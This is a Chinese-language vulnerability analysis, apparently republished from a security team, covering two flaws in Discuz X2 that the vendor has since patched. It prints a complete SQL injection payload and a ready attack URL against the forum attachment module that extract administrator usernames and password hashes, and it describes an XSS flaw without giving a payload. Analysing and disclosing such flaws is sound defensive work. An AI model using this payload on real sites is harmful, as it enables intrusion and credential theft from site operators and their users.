近日，DiscuzX2被爆出了两个0day，一个是SQL注入漏洞，攻击者可利用该漏洞获取到用户名与密码，另一个是XSS注入漏洞，攻击者可实现网站挂马、网站钓鱼等行为，目前官方已针对此问题发布了0629版，以下内容是Nevel安全团队的IMIYOO针对disucz X2此次0day所做的漏洞分析报告。
SQL注入问题描述：
SQL是一种数据库攻击方式，攻击者利用畸形的客户端输入，如果过滤不够，程序就会执行过多的数据库命令，从而会引发数据泄漏，服务器被入侵等一系列问题；危害等级高。
分析报告：
问题的具体原因发生在source/module/forum/forum_attachment.php，代码如下图：
其中$_G[‘gp_aid’]是由用户提交的变量aid所产生，而程序是将aid经过base64_decode后再传入SQL查询，在传入给SQL查询之前也没有作任何判断；但这正好给攻击者提供base64加密绕过Discuz自身的SQL攻击检测程序，从而产生SQL注入漏洞。
构造Sql_Exploit：
| mod=attachment //包含漏洞文件 findpost=imiyoo //保证$_G[‘gp_findpost’]不为空，使程序进入恶意SQL查询流程 aid=base64_encode(“1' and 1=2 union all select 1,concat(username,0x7C,password) from pre_common_member where username like 'admin|Nevel|Nevel|Nevel|Nevel”) // |
构造SQL利用语句爆出用户名和密码，其中后面有4个’|’用来产生5个变量
从而完整的攻击语句如下：
|
http://target/forum.php?mod=attachment&findpost=imiyoo&aid=
MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsY29uY2F0KHVzZXJuYW1lLDB4N0MscGFzc3dvcmQpIGZyb20gcHJlX2NvbW1vbl9tZW1iZXIgd2hlcmUgIHVzZXJuYW1lIGxpa2UgJ2FkbWlufE5ldmVsfE5ldmVsfE5ldmVsfE5ldmVs
|
攻击效果如下图：
XSS问题描述：
XSS是一种客户端攻击方式，攻击者可以可以向Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而可以达到恶意攻击用户的特殊目的。利用该XSS漏洞，攻击者可以实现1 网站挂马 2 网站钓鱼 3 CSRF攻击；危害等级中。
- 优友网刊登此文只为传递信息，并不表示完全赞同或反对作者观点。
- 如果此内容给您造成了负面影响或者损失，本站不承担任何责任。
- 如果内容涉及版权问题，请及时与我们取得联系。
围观者
文章评论